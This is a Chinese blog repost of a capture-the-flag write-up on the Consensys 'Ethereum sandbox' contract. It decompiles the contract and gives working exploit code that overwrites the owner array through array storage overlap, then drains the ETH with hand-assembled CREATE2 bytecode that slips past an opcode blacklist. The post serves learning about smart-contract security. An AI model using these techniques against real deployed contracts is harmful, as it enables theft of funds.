Consensys CTF – "以太坊沙盒"

这篇文章主要介绍了Consensys CTF – "以太坊沙盒" ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/25130.html

Consensys CTF – "以太坊沙盒"是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,Consensys CTF – "以太坊沙盒"学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉Consensys CTF – "以太坊沙盒"比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

Consensys CTF – "以太坊eth沙盒"

  • samczsun

基于samczsun的解析文章学习.Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊eth沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

Consensys CTF – "以太坊eth沙盒"

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析,如有需要可以参考原文。

问题描述:

Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约,合约名称叫做以太坊eth沙盒,其没有公开源代码,要求黑客们攻破该沙盒,拿出该合约中的所有ETH。

问题分析:

由于拿到的只是二进制代码,需要我们进行逆向得到solidity源码。故第一步是借助工具,将二进制代码翻译成可读的opcode代码和solidity代码。这里我们使用 https://contract-library.com/ 网站帮助分析。

源码分析

将对应的地址传入该网站后,我们可以看到其是一个典型的solidity源码反编译后的结构,首先是函数选择区(针对public,external函数)如下。一共有4个函数。

if (0x25e7c27 == function_selector) {     owners(uint256); } else if (0x2918435f == function_selector) {     0x2918435f(); } else if (0x4214352d == function_selector) {     0x4214352d(); } else if (0x74e3fb3e == function_selector) {     0x74e3fb3e(); }

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256[]数组。

uint256[] array_0; // STORAGE[0x0] uint256[] _owners; // STORAGE[0x1]

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

首先是函数1:0x4214352d

function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable {      require(msg.data.length - 4 >= 64);     assert(varg1 < array_0.length);     array_0[varg1] = varg0; } //翻译一下 function set_array(uint256 _value, uint256 _key) public {     require(msg.data.length - 4 >= 64);     assert(_key < array_0.length);     array_0[_key] = _value; }

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

  • msg.data的长度减去4之后要大于64
    • msg.data = bytes4(函数签名) + bytes32(参数1) + bytes32(参数2)
    • 减去4的原因是函数签名的长度为4
  • 要求key的值小于array的长度

再看函数2:0x74e3fb3e

function 0x74e3fb3e(uint256 varg0) public nonPayable {      require(msg.data.length - 4 >= 32);     assert(varg0 < array_0.length);     return array_0[varg0]; } => function get_array(uint256 _key) public view returns (uint256) {     require(msg.data.length - 4 >= 32);     assert(_key < array_0.length);     return array_0[_key]; }

与set_array函数类似

再看函数3:owners

function owners(uint256 varg0) public nonPayable {      require(msg.data.length - 4 >= 32);     assert(varg0 < _owners.length);     return address(_owners[varg0]); } => function owners(uint256 _key) public view returns (address) {     require(msg.data.length - 4 >= 32);     assert(_key < _owners.length);     return address(_owners[_key]); }

最后看函数4:0x2918435f

function 0x2918435f(address varg0) public payable {      require(msg.data.length - 4 >= 32);     v0 = v1 = 0;     v2 = v3 = 0;     while (v2 < _owners.length) {         assert(v2 < _owners.length);         if (msg.sender == address(_owners[v2])) {             v0 = v4 = 1;         }         v2 += 1;     }     require(v0);     MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);     EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);     v5 = v6 = 0;     while (v5 < varg0.code.size) {         if (v5 < varg0.code.size) {             break;         }         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000);         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000);         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000);         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000);         assert(v5 < varg0.code.size);         require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000);         v5 += 1;     }     v7, v8 = varg0.delegatecall().gas(msg.gas);     if (RETURNDATASIZE() != 0) {         v9 = new bytes[](RETURNDATASIZE());         v8 = v9.data;         RETURNDATACOPY(v8, 0, RETURNDATASIZE());     }     require(v7); }

可以看到函数4 0x2918435f比较复杂,简单分析函数4中有三层require:

  1. 要求调用该函数的msg.data的长度,require(msg.data.length - 4 >= 32);与之前的函数中类似
  2. 要求msg.sender是_owners中的一员,通过一个while循环来循环检查所有的Onwer中成员,看是否满足msg.sender==owner

    v0 = v1 = 0; v2 = v3 = 0; while (v2 < _owners.length) {    assert(v2 < _owners.length);    if (msg.sender == address(_owners[v2])) {        v0 = v4 = 1;    }    v2 += 1; } require(v0); =>翻译一下: bool permit = false; uint256 i = 0; while (i < _owners.length) { assert(i < _owners.length); if (msg.sender == address(_owners[i])) {     permit = true; } i += 1; } require(permit);

    3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode, delegatecall, staticcall, selfdestruct.

    这部分对应的代码比较复杂,我们将对比opcode,逐字翻译

    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f); EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);

    首先我们看黄皮书中关于EXTCODECOPY中的定义:

    $$ forall i in { 0 dots boldsymbol{mu}{mathbf{s}}[3] – 1}: boldsymbol{mu}’{mathbf{m}}[boldsymbol{mu}{mathbf{s}}[1] + i ] equiv begin{cases} mathbf{b}[boldsymbol{mu}{mathbf{s}}[2] + i] & text{if} quad boldsymbol{mu}_{mathbf{s}}[2] + i < lVert mathbf{b} rVert text{STOP} & text{otherwise} end{cases} $$

    $$ mathtt{KEC}(mathbf{b}) equiv boldsymbol{sigma}[boldsymbol{mu}{mathbf{s}}[0] mod 2^{160}]{mathrm{c}} $$

    可以看到EXTCODECOPY,拿4个参数,返回0个参数。简单解释是将栈里第0个元素-合约地址对应的代码段,设置偏移量为栈中第2个元素的值,拷贝的长度为栈里第3个元素对应的值,拷贝到的目的地为内存中栈里第1个元素对应的值的位置。

    MEM[64]  = MEM[64] + (addr.code.size + 32 + 31 & ~0x1f) EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size); => EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size) => bytes memory code; uint256 size; assembly { code := mload(0x40) //0x40=64, code=0x80 size := extcodesize(addr) mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) //新的自由内存指针 mstore(code, size) //在0x80地方存储codesize extcodecopy(addr,add(code, 0x20),0,addr.code.size) //把extcode全部拷贝到内存0xa0处 }

    在看while循环:

    v5 = v6 = 0; while (v5 &lt; varg0.code.size) {    if (v5 &lt; varg0.code.size) {        break;    }    assert(v5 &lt; varg0.code.size); => uint256 i = 0; while (i &lt; addr.code.size) { assert(i &lt; addr.code.size) }  require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 &lt;&lt; 248 != 0xf000000000000000000000000000000000000000000000000000000000000000); => ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000 MEM[0x40] = 0x80 0x80处存储的是code的size,长度为0x20;具体的代码从0x80+0x20处开始存储。 MEM[0x20 + 0x80 + i] 实际读取的是MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这32位字节向右移动248bit,再向左移动248bit,即去掉最右侧248bit, 再和0x110000...取AND,最后得到的结果与0xf0...对比。 实际效果是每一位都对比,不能等于0xf0,0xf1,0xf2等 => for (uint256 i=0; i &lt; code.length; i++) { require(code[i] != 0xf0);//Create require(code[i] != 0xf1);//CALL require(code[i] != 0xf2);//CALLCODE require(code[i] != 0xf4);//DELEGATECALL require(code[i] != 0xfa);//STATICCALL require(code[i] != 0xff);//SELEFDESTRUCT     }

问题分析-1

简单看,我们需要调用函数4,0x2918435f 因为其含有delegatecall, 可以执行我们想要的代码来获取该合约所有的ETH。

但是其要满足三个条件,尤其是第二个条件限制了msg.sender必须是owner数组中的一员。故我们需要先把msg.sender 放到owner数组中。但是给定的函数中,并没有直接设置owner数组的,唯有一个设置array数组的函数:set_array(_key, _value). 故需要思考,能否通过set_array函数来改变owner数组中的值。

这里需要一个背景知识,即数组是如何再solidity中存储的。

在solidity中,动态数组在storage中存储模式为:

  1. 动态数组声明处的slot_A存储的是该动态数组的长度
  2. 动态数组中的每一个元素存储的位置是keccak256(slot_A)+i, 即动态数组事实上还是连续储存,但其第一个元素存储的位置是keccak256(slot_A)

故在本题目中,由于array的长度被设置为uint(-1), 故可以通过计算array[0]和owner[0]对应的storage key的差值,来通过set_array方法设置owner中的值。

# make alice the owner  # array.length == uint(-1) # array slot = 0, key0 = keccak256(0x00..00) # array owner slot = 1, key1 = keccak256(0x00..01) # delta = key1 - key0 # 通过设置array的偏移来设置owner中的值 # offset的值为delta key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16) key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16) delta = key1 - key0 ctf.setArray(alice.address,delta, {'from':alice})

也可以部署一个hacker.sol来实现该目的

contract Hacker {     address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A;     function step1() public {         bytes32 key0 = keccak256(abi.encode(0x00));         bytes32 key1 = keccak256(abi.encode(0x01));         uint256 delta = uint256(key1) - uint256(key0);         (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta));         require(success);     } }

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtime code中不含有0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2, 其为0xf5, 我们可以首先看下黄皮书中关于create2的定义

$$ mathbf{i} equiv boldsymbol{mu}{mathbf{m}}[ boldsymbol{mu}{mathbf{s}}[1] dots (boldsymbol{mu}{mathbf{s}}[1] + boldsymbol{mu}{mathbf{s}}[2] – 1) ] $$

$$ zeta equiv boldsymbol{mu}_{mathbf{s}}[3] $$

$$ (boldsymbol{sigma}’, boldsymbol{mu}’{mathrm{g}}, A^+, mathbf{o}) equiv begin{cases}{lambda}{Lambda}(boldsymbol{sigma}^*, I{mathrm{a}}, I{mathrm{o}}, L(boldsymbol{mu}{mathrm{g}}), I{mathrm{p}}, boldsymbol{mu}{mathbf{s}}[0], mathbf{i}, I{mathrm{e}} + 1, zeta, I{mathrm{w}}) & text{if} quad boldsymbol{mu}{mathbf{s}}[0] leqslant boldsymbol{sigma}[I{mathrm{a}}]{mathrm{b}} ; quad &wedge; I{mathrm{e}} < 1024 big(boldsymbol{sigma}, boldsymbol{mu}_{mathrm{g}}, varnothingbig) & text{otherwise} end{cases} $$

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtime code中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtime code:

//tx.origin 这里的ORIGIN是payload,不应该被执行,故需要改为push1 0x32 //SELFDESTRUCT //构造payload, 因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现 push2 0x32fe // 0x32fe push1 0x01 // 0x32fe 0x01 ADD // 0x32ff  push1 0x40 //0x32ff 0x40 mstore //构造payload 0x40 -> 0x32ff,  push1 00//Us[3] -> salt 盐 push1 0x04//Us[2] -> length 长度 4 push1 0x3e//us[1] -> offset 偏移值 -> 内存中0x40+0x20-0x2=0x3e ADDRESS BALANCE //Us[0] -> ETH数量->应该是该address(this)的所有ETH create2 => 6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtime code

contract HackCTF{     constructor() public payable{         assembly{             mstore(0x00, 0x6132fe60010160405260006004603e3031f5)             return(0x0e, 0x12)         }     } }

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker = HackCTF.deploy({"from":alice}) ctf.hack(hacker, {'from':alice}) print(alice.balance())

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/25130.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » Consensys CTF – "以太坊沙盒"

提供最优质的资源集合

立即查看 了解详情